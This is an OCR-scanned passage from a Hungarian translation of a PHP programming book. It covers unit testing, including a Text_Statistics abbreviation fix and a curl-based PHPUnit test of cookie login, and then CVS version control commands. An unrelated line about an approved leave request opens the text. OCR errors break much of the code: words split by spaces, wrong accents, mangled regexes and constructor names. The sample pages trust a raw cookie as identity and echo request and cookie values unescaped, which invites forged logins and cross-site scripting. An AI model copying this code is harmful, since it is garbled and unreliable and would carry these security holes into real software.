Your request for a leave of absence has been approved. Enjoy your vacation.

$this->numSentences = 2;
$this->numWords = 16;
$this->numSyllables = 2 4;
$this->object = new Text_Statistics($this->sample) ;
}
function ____ construct($name) {
parent: :____ construct($name);
}
}

Kétségtelen, hogy a hiba létezik; a Mr. -t a teszt egy mondat végének tekinti. A problémát
úgy kerülhetjük ki, hogy a szokásos rövidítések végéről eltávolítjuk a pontot. Ehhez szűk-
6. fejezet • Egységtesztelés 187

ségünk lesz a szokásos rövidítések listájára, illetve kiegészítő kódra, amivel eltávolítjuk
a rövidítések végén levő pontot. Mindezt a Text_Statistics statikus tulajdonságává
tesszük, és a listát az analyze_line futtatásakor helyettesítjük be. íme a kód:
class Text_Statistics {
// ...
static $abbreviations = array('/Mr\./' =>'Mr',
'/Mrs\./i' =>'Mrs',
1/etc\. /i ' =>'etc',

'/Dr\. /i ' = > ' D r ',


);
// . ..
protected function analyze_line($line) {
// az ismert rövidítések cseréje
$line = preg_replace(array_keys( s e l f::$abbreviations) ,
array_values(self::$abbreviations),
$line);
preg_match_all("/\b(\w[\w'-]*)\b/", $line, $words);
foreach($words[1] as $word) {
$word = strtolower($word);
$w_obj = new Text_Word($word);
$this->numSyllables += $w_obj->numSyllables() ;
$ thi s->numWords++ ;
if(!isset($this->_uniques[$word])) {
$this->_uniques[$word] = 1;
}
else {
$this->uniqWords++;
}
}
preg_match_all( " / [ • ! ? ] / " , $line, $matches);
$this->numSentences += count($matches[0]);
}
}

A mondatszám most már helyes, de a szótagszám nem. Úgy tűnik, a Mr. egyetlen szótag-
nak számít (mivel nincs benne magánhangzó). Ennek kezelésére kibővíthetjük a rövidí-
téslistát, hogy ne csak a pontokat távolítsa el, hanem a szótagszámláláshoz fel is oldja
a rövidítéseket. íme a kód, amivel elérhetjük ezt:
class Text_Statistics {
// ...
static $abbreviations = array('/Mr\./' = > ' Mister1,
' / M r s \ . / i ' = > ' Mi sse s' , //Phonetic
' / e t c \ . / i ' = > ' etcetera' ,
' / D r \ . / i ' = > ' D o c t or ' ,
);
// ...
}
188 PHP fejlesztés felsőfokon

Még számos javítást eszközölhetünk a Text_Statistics rutinon. A kivételeket kezelő


$silentSyllable (néma szótag) és $additionalSyllable (kiegészítő szótag) tömb
jó kezdet, de még sok elvégzendő munka akad velük. A rövidítéslista ugyanígy meglehe-
tősen korlátozott jelenleg; jócskán lenne még mit bővíteni rajta. Az osztályok bővítésével
több nyelv támogatását is felvehetjük, míg a statisztikát más olvashatósági indexekkel
(Gunning FOG index, SMOG index, Flesch-Kincaid szintfelmérés, Powers-Sumner-Kearl
képlet, FORCAST képlet stb.) egészíthetjük ki. Az említett változtatások könnyen végre-
hajthatók, a regressziós tesztekkel pedig egyszerűen ellenőrizhetjük, hogy a módosítások
nincsenek hatással a jelenlegi viselkedésre.

Egységtesztelés webes környezetben


Amikor régebben a PHP-ben történő egységtesztelésről beszélgettem fejlesztőkkel, gyak-
ran hivatkoztak arra, hogy a PHP webközpontú nyelv, weblapokat pedig igen nehéz egy-
ségtesztelésnek alávetni. Szerintem nincs igazuk.

Ha ésszerűen szétválasztjuk a megjelenítési és működési kódot, az alkalmazáskód túlnyo-


mó többsége alávethető egységtesztelésnek, és a Világhálótól függetlenül teljes egészében
tesztelhető. Az a kis rész, amelynek ellenőrzéséhez tényleg szükség van a Webre, a curl
bővítményen keresztül vizsgálható.

A curi-ről
A curl egy ügyfélkönyvtár, amely internetes protokollok rendkívül széles körén (FTP,
HTTP, HTTPS, LDAP stb.) keresztül támogatja a fájlátvitelt. Az a legjobb benne, hogy
a kérelmekhez és válaszokhoz igen aprólékos hozzáférést biztosít, így könnyű vele egy
böngészőt utánozni. A curl használatának engedélyezéséhez a PHP-t a --with-curl
kapcsolóval kell telepítenünk (ha forráskódból építjük fel), vagy meg kell győződnünk ró-
la, hogy a bináris változatban a curl engedélyezett.

A felhasználók azonosításáról részletesebben a 13. fejezetben beszélünk, de most egy


egyszerű példa erejéig elővesszük. Egy beépített azonosító rendszert írunk, ami a felhasz-
nálót egy süti alapján hitelesíti. Ha a süti megtalálható, az oldalhoz a következő HTML
megjegyzést adjuk:

<!-- crafted for NAME !-->

Először készítenünk kell egy egységtesztet. A curl segítségével egy user=george sutit kül-
dünk a hitelesítő oldalnak, majd megkeressük a megjegyzést az adott felhasználó nevével.
A teljesség kedvéért azt is biztosítjuk, hogy ha nem adunk át sutit, nem kerül sor hitelesítésre.
6. fejezet • Egységtesztelés 189

íme a kód:

<?php
require_once "PHPUnit/Framework/TestCase.php";

// A WebAuthCase egy elvont osztály, ami csak beállítja az url-t


// a teszteléshez, de tényleges tesztet nem futtat,
class WebAuthTestCase extends PHPUnit_Framework_TestCase{
public $curl_handle;
public $url;
function _ construct($name) {
parent: :__ construct ( $name) ;
}
function setUpO {
// a curl előkészítése
$this->curl_handle = curl_init();
// a curl beállítása a válasz visszaadására a curl_exec után
curl_setopt($this->curl_handle, CURLOPT_RETURNTRANSFER, 1);
// az url beállítása
$this->url = "http://devel.omniti.com/auth.php";
curl_setopt($this->curl_handle, CURLOPT_URL, $this->url);
}
function tearDown() {
// a curl munkamenet bezárása, ha végeztünk
curl_close($this->curl_handle);
}
}

// A WebGoodAuthTestCase a sikeres hitelesítést teszteli,


class WebGoodAuthTestCase extends WebAuthTestCase {
function__ construct($name) {
parent::__ construct($name) ;
}
function testGoodAuth() {
$user = ' george ' ;
// user=NAME süti létrehozása
$cookie = "user=$user;" ;
// az elküldendő süti beállítása
curl_setopt($this->curl_handle, CURLOPT_COOKIE, $cookie);
// a lekérdezés végrehajtása
$ret = curl_exec($this->curl_handle);
$this->assertRegExp("/<!-- crafted for $user -->/", $ret);
}
}

// A WebBadAuthTestCase a sikertelen hitelesítést teszteli,


class WebBadAuthTestCase extends WebAuthTestCase {
function _ construct($name) {
190 PHP fejlesztés felsőfokon

parent: :__ construct ($name) ;


}
function testBadAuth() {
// nem adunk át sutit
curl_setopt($this->curl_handle, CURLOPT_COOKIE, $cookie);
// a lekérdezés végrehajtása
$ret = curl_exec($this->curl_handle);
if(preg_match("/<!-- crafted for / " , $ r e t ) ) {
$this->fail();
}
else {
$this->pass();
}
}
}

if(realpath($_SERVER['PHP_SELF']) ==___________ FILÉ___ ) {


require_once "PHPUnit/Framework/TestSuite.php";
require_once "PHPUnit/TextUI/TestRunner.php";

$suite = new PHPUnit_Framework_TestSuite('WebGoodAuthTestCase');


$suite->addTestSuite("WebBadAuthTestCase");
PHPUnit_TextUI_TestRunner::run($suite);
}
?>

Az egységteszttel szemben a tesztoldal nagyon egyszerű, csupán egy blokkból áll, ami
egy fejlécet készít, ha a süti létezik:

<HTML>
<BODY>
<?php
if($_COOKIE[user]) {
echó "<!-- crafted for $_COOKIE[user] -->";
}
?>
<?php print_r($_COOKIE) ?>
Hello World.
</BODY>
</HTML>

A teszt nem túl kidolgozott, de jól mutatja, hogyan használhatjuk a curl-t, illetve egysze-
rű mintaillesztést a webforgalom utánzására. A 13. fejezetben, ahol a munkamenet-keze-
lést és a hitelesítést részletekbe menően tárgyaljuk, ezt a WebAuthTestCase infrastruktú-
rát fogjuk használni néhány valódi hitelesítő könyvtár tesztelésére.
6. fejezet • Egységtesztelés 191

További olvasmányok
Az egységteszteléssel kapcsolatban kitűnő forrás Kent Beck könyve, a Test Driven
Development By Example (Addison-Wesley). A kötetben Java és Python nyelvű példákat
találunk, de a megközelítés alapvetően nyelvfüggetlen. Egy másik kiváló forrás a JUnit
honlapja a www. junit. org címen.

Ha többet szeretnénk tudni az extrém programozás módszertanáról, olvassuk el Lisa


Crispin és Tip House Testing Extrémé Programming, illetve Kent Beck Extrémé
Programming Explained: Embrace Change című könyvét (mindkettő Addison-Wesley).
Kiváló munkák.

A Refactoring: Improving the Design o/Existing Code Martin Fowler tollából (Addison-
Wesley) a minták szerepével foglalkozik a kód-újraépítésben. A könyv példái a Java
nyelvre összpontosítanak, de maguk a minták igen általánosak. Ezt a kötetet is melegen
ajánlom.

Az olvashatóság minőségi (kvalitatív) elemzése számos könyv témája, de ha minket első-


sorban a használt képletek érdekelnek, érdemes a Google keresőbe beírni a readability
score kifejezést; rengeteg hasznos találatot kaphatunk.
A fejlesztőkörnyezet kezelése
Számos programozó számára egy nagy szoftver fejlesztésének kézben tartása a legkevés-
bé izgalmas munka. Először is, egy ilyen munkánál a programozó alig ír kódot. A szoká-
sos esetben gyors haladást igénylő webes fejlesztési modellel szemben a projektvezetés
általában arról szól, hogy a minőség biztosítása végett lassítják a fejlesztést. Mindazonáltal
én ezeket a feladatokat programozói munkám természetes kiterjesztésének tartom, hiszen
a lényeg az, hogy a nap végén az ügyfelek által kívánt tartalom úgy jelenjen meg a Világ-
hálón, ahogy ők szeretnék. Nem csak az a dolgom, hogy biztosítsam a szükséges kód
megírását, hanem az is, hogy gondoskodjam annak megfelelő működéséről, illetve arról,
hogy az új kód a meglevő szolgáltatásokat nem teszi tönkre.

Az angol szakmai szóhasználatban az enterprise (szó szerint „vállalkozás") divatos kifeje-


zés manapság. A legszigorúbb meghatározás szerint az enterprise software („vállalati szoft-
ver") bármilyen üzleti célú programot jelenthet. A „vállalkozás " az „üzlet" szinonimája,
így minden üzleti szoftver egyben „vállalati szoftver".

A szoftveriparban (és különösen annak internetes ágazatában) a „vállalati" (enterprise) jel-


zőhöz további jelentések kapcsolódnak:

• Ellenálló
• Megfelelően tesztelt
• Biztonságos
• Méretezhető
• Kezelhető
• Illeszthető
• Professzionális

Ezek a minőségjelzők éppen olyanok, mint amiket a cégvezetők hallani szeretnek, így nem
csoda, hogy „vállalati szoftverre" vágynak. A gond az, hogy a többi divatszóhoz hasonlóan
a „vállalati" kifejezés sem több reklámfogásnál: felcímkézhetjük vele a szoftvert, mintha az
lenne a tökéletes megoldás az adott problémára, miközben semmit nem árulunk el arról,
194 PHP fejlesztés felsőfokon

hogy miért is jobb a vele versengő termékeknél. Persze az ilyen divatszavak mögött kez-
detben valóban haladó törekvések állnak, mielőtt a piackutatók felkapnák őket. A fentebb
felsorolt tulajdonságok rendkívül fontosak, ha üzletünket programokra építjük.

A könyvben már megtanultuk, hogyan írhatunk megfelelően tesztelt szoftvert (a 6. fejezet-


ben), a 13. és 14. fejezetekben pedig annak biztonságossá tételével (mind a felhasználók-
kal szembeni, mind az ő érdekükben nyújtott védelemmel) is megismerkedünk. A kötet
jelentős része a méretezhető és ellenálló programok professzionális fejlesztésével foglal-
kozik, ebben a fejezetben azonban azt tárgyaljuk, miként tehetjük a PHP alkalmazásokat
kezelhetővé.

A kezelhetőség tárgykörébe két dolog tartozik:

• Változatkezelés - Bármilyen (kicsi vagy nagy) webhely kezelése változatkezelő rend-


szer nélkül olyan, mintha biztonsági háló nélkül járnánk kötéltáncot.
• Csomagkezelés - A csomagok kezelése szorosan kapcsolódik a változatkezeléshez.
Ezzel biztosíthatjuk a webhely változatainak követését, elosztott környezetben pe-
dig segítségével könnyen vehetünk fel új csomópontot, ami pontosan a megfelelő
tartalommal rendelkezik. Ez nem csak a PHP kódokra vonatkozik, hanem a rend-
szerelemekre is.

Változatkezelés
A változatkezelő szoftver olyan eszköz, ami lehetővé teszi a projektfájlok módosításainak
követését, és változatokat készíthetünk vele a projektből az állományváltozatok alapján.
Ez nagymértékben segíti a szoftverfejlesztés folyamatát, mert így az egyes változtatásokat
könnyen nyomon követhetjük és szükség esetén visszafordíthatjuk. Nem kell emlékez-
nünk rá, miért is hajtottunk végre egy adott módosítást, vagy arra, hogyan nézett ki a kód
a módosítás előtt. Elég, ha megvizsgáljuk a fájlváltozatok közötti különbségeket és elol-
vassuk a naplókat, és máris láthatjuk, mikor történt a változtatás, pontosan mi változott, és
miért (feltéve, hogy kikényszerítjük a bővebb naplóbejegyzések használatát).

A fentiek mellett egy jó változatkezelő rendszer segítségével több fejlesztő dolgozhat egy-
szerre biztonságosan ugyanazokon az állományokon, és a változtatások automatikusan
egybeolvaszthatok. Amikor többen is hozzáférnek egy fájlhoz, a leggyakoribb probléma,
hogy egyikük véletlenül felülírja a másik fejlesztő által eszközölt módosításokat. A válto-
zatkezelő rendszer ezt a kockázatot szünteti meg.

A változatkezelő vagy változatkövető rendszerek „szabványa" a nyílt forrású programok


között ma a CVS (Concurrent Versioning System). A CVS az RCS (Revison Control System)
bővítéseként jött létre. Az RCS-t Walter Tichy írta a Purdue University-n 1985-ben; ez is
egy korábbi rendszer, az ATT Labs cégnél 1975-ben kidolgozott SCSS (Source Code
7. fejezet • A fejlesztőkörnyezet kezelése 195

Control System) javítása volt. Az RCS-t szerzője azért írta, hogy lehetővé tegye, hogy töb-
ben dolgozzanak ugyanazon a fájlhalmazon, egy bonyolult zárolási rendszer segítségével.
A CVS az RCS-re épül; megengedi, hogy egy fájlnak több tulajdonosa legyen, lehetővé te-
szi a tartalmak automatikus összeolvasztását, a forrásfa felépítését, illetve azt, hogy egy-
szerre több felhasználó rendelkezzen írható példánnyal a forráskódból.

Más változatkezelő rendszerek


A CVS nem az egyetlen változatkezelő rendszer. Számos más rendszerrel helyettesíthetjük,
ilyen például a BitKeeper vagy a Subversion. Mindkettő a CVS hibáit igyekszik kiküszö-
bölni, de fejlettebb szolgáltatásaik ellenére úgy döntöttem, a CVS-re összpontosítok, mert
ez a legszélesebb körben használt nyílt forrású változatkezelő rendszer, így valószínűleg
ezzel találkozunk.

Használjuk mindenütt a CVS-t!


Mindig elcsodálkozom azon, hogy egyesek változatkezelés nélkül fejlesztenek programo-
kat. Számomra a változatkezelés alapvető fontosságú a programozásban. Még ha egy
munkán egyedül dolgozom is, az állományok kezelésére akkor is használom a CVS-t. Se-
gítségével gyorsan hajthatok végre változtatásokat, anélkül, hogy biztonsági másolatok
garmadáját kellene kéznél tartanom. így tudom, hogy ha kellő fegyelmezettséggel dolgo-
zom, szinte semmilyen hibát nem követhetek el, amivel maradandó károsodást okozhat-
nék a szoftverben. Ha csapatban dolgozunk, a CVS még inkább nélkülözhetetlen. Napi
munkám során öt fejlesztővel működöm együtt, akik ugyanazokkal az állományokkal dol-
goznak. A CVS-t használva szinte irányítás nélkül képesek hatékonyan fejleszteni, és ami
még fontosabb, mindenki érti a többiek által végrehajtott változtatások logikáját, és nem
kell maguknak nyomon követniük a módosításokat.

A CVS alapjai
A CVS-sel történő fájlkezelés első lépése, hogy bevisszük a projektet a CVS tárába
(repository). Helyi tárat úgy hozhatunk létre, hogy először létrehozunk egy könyvtárat,
amelyben a tár állományait tárolni fogjuk. Az elérési út általában /var/cvs, de más is
megfelel. Mivel ez a projekt adatainak állandó tárolója lesz, olyan helyre érdemes ten-
nünk a tárat, ahol a szabályos időközönkénti biztonsági mentés biztosított. Először létre-
hozzuk az alapkönyvtárat, majd a cvs init paranccsal az alaptárolót:

> mkdir /var/cvs


> cvs -d /var/cvs init
196 PHP fejlesztés felsőfokon

Ezzel elkészítettük azokat a felügyeleti alapfájlokat, amelyekre a CVS-nek a könyvtárban


szüksége van.

A CVS használata nem Unix rendszereken


A CVS itt szereplő utasításai Unix-megfelelő rendszerekre (Linux, BSD, OS X stb.) vonatkoz-
nak. A CVS Windowson is fut, de az ott használt eltérő utasításformát nem tárgyaljuk. Rész-
leteket a http: //www. cvshome .org és http: //www. cvsnt .org címeken találunk.

A könyv példáinak beviteléhez az import utasítást használhatjuk, amelynek a fájlokat tar-


talmazó legfelső szintű könyvtárat kell megadnunk:

> cd Advanced_PHP
> cvs -d /var/cvs import Advanced_PHP advanced_php start
cvs import: Importing /var/cvs/books/Advanced_PHP/examples
N books/Advanced_PHP/examples/chapter-10/l.php
N books/Advanced_PHP/examples/chapter-10/10.php
N books/Advanced_PHP/examples/chapter-10/ll.php
N books/Advanced_PHP/examples/chapter-10/12.php
N books/Advanced_PHP/examples/chapter~10/13.php
N books/Advanced_PHP/examples/chapter-10/14.php
N books/Advanced_PHP/examples/chapter-10/15.php
N books/Advanced_PHP/examples/chapter-10/2.php

No conflicts created by this import

A kimenet azt jelzi, hogy minden állomány új bevitelű (tehát nem olyan fájlok, amelyek
már szerepeltek az adott tárban), és a bevitel során minden rendben zajlott.

A -d /var/cvs a használni kívánt tárhelyet adja meg. Beállíthatjuk a CVSROOT környeze-


ti változót is, de jobb, ha kifejezetten megadjuk, melyik tárat akarjuk használni, mert a kü-
lönböző projekteket különböző tárakba célszerű helyezni. Ha a parancssorban megadjuk
a tár nevét, biztosak lehetünk benne, hogy a megfelelő tárat használjuk.

A CVS számára az import parancsot kell kiadnunk. A parancsot követő három elem
(Advanced_PHP advanced_php start) a helyet, a készítőt, és a kiadást jelzi. A helyként
megadott Advanced_PHP azt mondja a CVS-nek, hogy a projekt fájljait a /var/cvs/Ad-
vanced_PHP könyvtárban akarjuk tárolni. A névnek nem kell megegyeznie a projektet je-
lenleg tartalmazó könyvtár nevével, de a CVS ezen a néven fogja ismerni a projektet, és
a fájlokat tároló alapkönyvtár nevének is ennek kell lennie, amikor a fájlokat lekérjük
a CVS-ből.
7. fejezet • A fejlesztőkörnyezet kezelése 197

A parancs kiadásával elindul az alapértelmezett szerkesztőprogram, és egy üzenet beírásá-


ra szólít fel. Minden alkalommal, amikor a CVS segítségével módosítjuk a főtárat, be kell
írnunk egy naplóüzenetet, ami leírja, mit is csinálunk. Érdemes a fejlesztőket egységes és
informatív naplóüzenetek használatára szorítani, mert így könnyen nyomon követhetjük,
miért volt szükség adott változtatásokra. Nem szükséges magunknak beírnunk a CVS pa-
rancssorba az -m "üzenet "-et: ha szigorú szabályokat vezetünk be az üzenetek számára,
a véglegesítési üzenetekből automatikusan is felépíthető a változásnapló, illetve a projekt
egyéb dokumentációi.

A készítőt (advanced_jphp), illetve a kiadást (start) jelző címkék a projekt azon ágait
határozzák meg, amelyeket a fájlokhoz társítunk. Az ágak teszik lehetővé, hogy a fejlesztés
több irányban haladhasson. Az egyik ág fájljainak módosítása nincs hatással a többi ágra.

A készítő ágára azért van szükség, mert előfordulhat, hogy másik cégtől származó forráso-
kat is be kell vinnünk a tárba. Amikor a projektet felvesszük, a CVS felcímkézi a fájlokat
a készítő szerint. A készítő ágához mindig visszatérhetünk, ha az eredeti, módosítatlan
kódra vagyunk kíváncsiak. Természetesen ez is olyan ág, mint a többi, így a változtatáso-
kat rá is alkalmazhatjuk, de ez a gyakorlatban nemigen szükséges. A CVS megköveteli,
hogy a készítő, illetve a kiadás címkéjét bevitelkor meghatározzuk, ezért kellett itt is beír-
nunk. A legtöbb esetben később már nem kell hozzájuk nyúlnunk.

Egy másik ág, amelyet minden projektben megtalálunk, a HEAD, ami mindig a fejlesztés fő
ága. Egyelőre mi is mindent ebben az ágban fogunk végezni. Ha nem határozunk meg ki-
fejezetten egy ágat, a változtatások a HEAD ágra lesznek érvényesek.

A fájlokat bevitelkor nem ellenőrzi a CVS, ezt magunknak kell megtennünk, hogy tudjuk,
biztosan a CVS által kezelt példányokon dolgozunk. Mivel mindig megvan az esély, hogy
bevitel közben valamilyen váratlan hiba történik, ajánlatos ellenőrizni a bevitt forrásanya-
gokat, és saját szemmel győződni meg róla, hogy mindent bevittünk, mielőtt az eredeti tá-
rolót törölnénk. A frissen bevitt projektfájlokat az alábbi parancsokkal ellenőrizhetjük:
> mv Advanced_PHP Advanced_PHP.old
> cvs -d /var/cvs checkout Advanced_PHP
cvs checkout: Updating Advanced_PHP
cvs checkout: Updating Advanced_PHP/examples
U Advanced_PHP/examples/chapter-10/l.php
U Advanced_PHP/examples/chapter-10/10.php
U Advanced_PHP/examples/chapter-10/ll.php
U Advanced_PHP/examples/chapter-10/12.php
U Advanced_PHP/examples/chapter-10/13.php
U Advanced_PHP/examples/chapter-10/14.php
U Advanced_PHP/examples/chapter-10/15.php

# nézzük át magunk is az új Advanced_PHP tárolót


> rm -rf Advanced_PHP.old
198 PHP fejlesztés felsőfokon

Az új Advanced_PHP könyvtárnak pontosan ugyanúgy kell kinéznie, mint a réginek, az-


zal a különbséggel, hogy minden alkönyvtárának lesz egy új CVS alkönyvtára. A CVS al-
könyvtár a változatkezelő rendszer által igényelt felügyeleti fájlokat tárolja, így az a leg-
jobb, ha figyelmen kívül hagyjuk a jelenlétét.

Bináris fájlok a CVS-ben

A CVS alapállapotban minden bevitt állományt szövegként kezel. Ez azt jelenti, hogy ha
beviszünk egy bináris fájlt - mondjuk egy képet -, majd a kimenő változatot kivesszük
a változatkezelő rendszerből, egy nagyrészt használhatatlan szöveges állományt kapunk.
A bináris fájltípusok helyes kezeléséhez meg kell mondanunk a CVS-nek, mely fájlok tar-
talmaznak bináris adatokat. Miután (akár az import, akár a commit utasítással) bevittük
állományainkat a rendszerbe, a cvs admin -kab <fájlnév> végrehajtásával utasíthatjuk
a CVS-t, hogy egy adott fájlt binárisként kezeljen. Az advanced_php. jpg-t például így
adhatjuk helyesen a tárhoz:

> cvs add advanced_php.jpg


> cvs commit -m 'this books cover art' advanced_php.jpg
> cvs admin -kab advanced_php.jpg

Az állomány ezután már helyesen kezelhető.

Egy másik megoldás, hogy a CVS-t arra kényszerítjük, hogy a fájlokat a nevük alapján au-
tomatikusan kezelje. Ehhez a CVSROOT/cvswrappers fájlt kell módosítanunk. A CVS fel-
ügyeleti fájljait maga a CVS szerkeszti, ezért először ezt kell tennünk:

> cvs -d /var/cvs co CVSROOT

Ezután a cvswrappers állományba a következőhöz hasonló sort kell írnunk:

*.jpg -k 'b'

Miután a változtatást véglegesítettük, a rendszer minden . j pg végződésű fájlt binárisként


fog kezelni.

A fájlok módosítása
Tegyük fel, hogy bevittünk minden fájlt a CVS-be, és módosításokat végeztünk rajtuk. Lát-
szólag minden úgy működik, ahogy szeretnénk, ezért a CVS-sel - amely nagyrészt „kézi"
rendszer - mentetni szeretnénk a változtatásokat. Amikor a munkakönyvtárban fájlokat
7. fejezet • A fejlesztőkörnyezet kezelése 199

módosítunk, a főtár nem módosul automatikusan. Ha elégedettek vagyunk az ered-


ménnyel, a cvs commit utasítással meg kell mondanunk a CVS-nek, hogy a főtárban is
véglegesítheti a módosításokat, amelyek ezután állandósulnak.

Az examples/chapter-7 /l .php eredeti változata a következő volt:

<?php
echó "Hello $_GET['name']";
?>

Ezt úgy módosítottuk, hogy a name ne csak GET, hanem bármilyen típusú kérelemből
származhasson:

<?php
echó "Hello $_REQUEST['name'] " ;
?>

A módosítás véglegesítése a CVS-ben az alábbi módon történik:

> cvs commit -m "use any method, not just GET" examples/chapter-7IX .php
Checking in examples/chapter-7/1.php;
/var/cvs/Advanced_PHP/examples/chapter-7/l.php,v <-- l.php
new revision: 1.2; previous revision: 1.1
done

Megfigyelhetjük az -m kapcsoló használatát, ami után a véglegesítési üzenetet adhatjuk


meg a parancssorban. Az is látható, hogy nem határozzuk meg a CVS tár helyét: amikor
a munkakönyvtárban vagyunk, a CVS tudja, melyik tárból származnak a fájlok.

Amikor új fájlt vagy könyvtárat adunk egy projekthez, még egy lépést végre kell hajta-
nunk. Mielőtt véglegesíthetnénk a kezdeti változatot, a fájlt a cvs add utasítással hozzá
kell adnunk a rendszerhez:

> cvs add 2.php


cvs add: scheduling filé v 2 . p h p ' for addition
cvs add: use 'cvs commit' to add this filé permanently

Ahogy az üzenet jelzi, a fájl hozzáadása csak tájékoztatja a tárat, hogy fájl érkezik. Ahhoz,
hogy a CVS mentse az új fájlt, véglegesítenünk kell azt.

A fájlok különbségeinek vizsgálata


Bármilyen változatkezelő rendszert használunk is, az elsődleges cél az, hogy képesek le-
gyünk különbséget tenni a fájlok változatai között. A CVS-ben erre számos lehetőség adódik.
200 PHP fejlesztés felsőfokon

A legegyszerűbb módszer, amivel meghatározhatjuk a különbségeket a munkapéldány és


a kimenő változat között, a következő:

> cvs diff -u3 examples/chapter-7/1.php


Index: examples/chapter-7/1.php

RCS filé: /var/cvs/books/Advanced_PHP/examples/chapter-7/l.php,v


retrieving revision 1.2
diff -u -3 -r l . 2 l.php
--- l.php 2003/08/26 15:40:47 1.2
+++ l.php 2003/08/26 16:21:22
@@ -1,3 +1,4 @@
<?php
echó "Hello $_REQUEST['narae']";
+echo "\nHow are you?";
?>

Az -u3 kapcsoló három sor egyesített különbségvizsgálatát (diff) jelenti. Maga a diff
azt mutatja, hogy a változat, amihez képest különbséget keresünk, az 1.2-es (a CVS auto-
matikusan számozza a változatokat), és egyetlen sort adtunk hozzá.

Különbséget kereshetünk egy adott változathoz képest, de két változat között is. Egy
adott fájl létező változatszámait a cvs log utasítással tekinthetjük meg. A parancs hatásá-
ra megjelenik a fájl minden véglegesített változata, a véglegesítések dátuma, illetve a hoz-
zájuk tartozó üzenetek:

> cvs log examples/chapter-7/1.php

RCS filé: /var/cvs/Advanced_PHP/examples/chapter-7/l.php,v


Working filé: examples/chapter-7/1.php
head: 1.2
branch:
locks: strict
access list:
symbo1i c name s:
keyword substitution: kv
totál revisions: 2; selected revisions: 2
description:

revision 1.2
date: 2003/08/26 15:40:47; author: george; state: Exp; lines: +1 -1
use any request variable, not just GET

revision 1.1
date: 2003/08/26 15:37:42; author: george; state: Exp;
initial import
7. fejezet • A fejlesztőkörnyezet kezelése 201

Ahogy a példából látható, a fájlnak két módosított változata (revison 1.1 és 1.2) létezik.
A különbségeket így kereshetjük meg köztük:

> cvs diff -u3 -r 1.1 -r 1.2 examples/chapter-7/1 .php


Index: examples/chapter-7/1.php

RCS file : /var/cvs/books/Advanced_PHP/examples/chapter-7/l.php,v


retrieving revision 1.1
retrieving revision 1.2
diff -u -3 -rl.l -rl.2
--- l.php 2003/08/26 15:37:42 1.1
+++ l.php 2003/08/26 15:40:47 1.2
@@ -1,3 +1,3 @@
<?php
-echó "Hello $_GET['name']";
+echo "Hello $_REQUEST['name']";
?>

Az 1.1-es változat és az aktuális munkapéldány közötti különbségeket így jeleníthetjük meg:

> cvs diff -u3 -r 1.1 examples/chapter-7/1 .php


Index: examples/chapter-7/1.php

RCS file: /var/cvs/books/Advanced_PHP/examples/chapter-7/l.php,v


retrieving revision 1.1
diff -u -3 -rl.l l.php
--- l.php 2003/08/26 15:37:42 1.1
+++ l.php 2003/08/26 16:21:22
@@ -1,3 +1,4 @@
<?php
-echó "Hello $_GET['name']";
+echo "Hello $_REQUEST['name']";
+echo "\nHow are you?";
?>

Rendkívül hasznos az a lehetőség is, hogy egy adott dátumbélyeghez vagy időtartamhoz
képest is kereshetünk külöbségeket. Gyakran előfordul, hogy egy webhelyen hiba lép fel,
de nem tudjuk, pontosan mikor is következett be, csak azt, hogy a hely egy ismert idő-
pontban határozottan működött. Ilyen esetben az kell tudnunk, milyen változások történ-
tek az adott időpont óta, a hiba okát ugyanis biztosan ezek között találjuk. A CVS rendel-
kezik az ehhez szükséges támogatással. Ha tudjuk például, hogy egy olyan módosítást ke-
resünk, amit az elmúlt 20 percben hajtottunk végre, ezt az utasítást kell kiadnunk:

> cvs diff -u3 -D '20 minutes ago' examples/chapter-7/1 .php


Index: examples/chapter-7/l.php
202 PHP fejlesztés felsőfokon

RCS filé: /var/cvs/Advanced_PHP/examples/chapter-7/l.php,v


retrieving revision 1.2
diff -u -3 -rl.2 l.php
--- l.php 2003/08/26 15:40:47 1.2
+++ l.php 2003/08/26 16:21:22
@@ -1,3 +1,4 @@
<?php
echó "Hello $_REQUEST['name']";
+echo "\nHow are you?";
?>

A CVS dátumfeldolgozója elég jól működik; relatív és abszolút dátumokat is megadha-


tunk, többféle formában.

A CVS azt is megengedi, hogy rekurzív különbségkeresést végezzünk a könyvtárakon;


vagy úgy, hogy megadjuk a könyvtárat, vagy úgy, hogy kihagyjuk a különbségfájlt, mely
esetben az aktuális könyvtárban ismételjük a keresést. Ez akkor lehet hasznos, ha egy-
szerre több fájl különbségeit szeretnénk megvizsgálni.

Megjegyzés
Az idő alapú CVS különbségfájlok a legfontosabb hibaelhárító eszközök közé tartoznak.
Amikor hibáról érkezik jelentés a webhellyel kapcsolatban, amin dolgozom, az első kér-
déseim ezek: „Mikor működött utoljára?" és „Mikor érkezett az első hibajelentés?". A két
időpontot elkülönítve a CVS használatával gyakran azonnal megtalálható a problémát
okozó véglegesítési utasítás.

Több fejlesztő egy munkán


Az egyik legnagyobb kihívás, amivel szembe kell néznünk, amikor lehetőséget adunk ar-
ra, hogy többen dolgozhassanak egyszerre ugyanazon a fájlon, az általuk végrehajtott mó-
dosítások egyesítése úgy, hogy az egyik fejlesztő munkája ne tegye tönkre a másikét.
A CVS az update utasítással támogatja ezt. Az update-et számos módon használhatjuk.
A legegyszerűbb, amikor biztosítjuk, hogy egy fájl naprakész legyen. Ha a kimenő válto-
zat nem a legfrissebb a tárban, a CVS megkísérli a különbségek alapján frissíteni.
Az 1. php frissítésénél például a következő egyesítési figyelmeztetést kaphatjuk:

> cvs update examples/chapter-7/1.php


M examples/chapter-7/1.php

Ebben a példában az M azt jelzi, hogy a munkakönyvtárban levő változat a legfrissebb, de


vannak helyi, véglegesítetlen módosítások.
7. fejezet • A fejlesztókörnyezet kezelese 203

Ha valaki más dolgozott a fájlon és véglegesített egy módosítást a kezdeti változat óta, az
üzenet így fest:

> cvs update l.php


U l.php

Ebben a példában az U azt jelzi, hogy a munkapéldányunknál létezik frissebb változat,


a CVS sikeresen belevitte a változtatásokat, és frissítette a változatszámát.

A CVS néha kavarodást is képes okozni. Ha két fejlesztő egy fájlnak pontosan ugyanazon
a részén dolgozik, ütközésre kerülhet sor, amikor a CVS megpróbálja egyesíteni a két vál-
tozatot:

> cvs update examples/chapter-7/1.php


RCS filé: /var/cvs/Advanced_PHP/examples/chapter-7/l.php,v
retrieving revision 1.2
retrieving revision 1.3
Merging differences between 1.2 and 1.3 intő l.php
rcsmerge: warning: conflicts during mérge
cvs update: conflicts found in examples/chapter-7/1 .php
C examples/chapter-7/1.php

Minden CVS parancs kimenetét érdemes alaposan áttanulmányozni. A C az update kime-


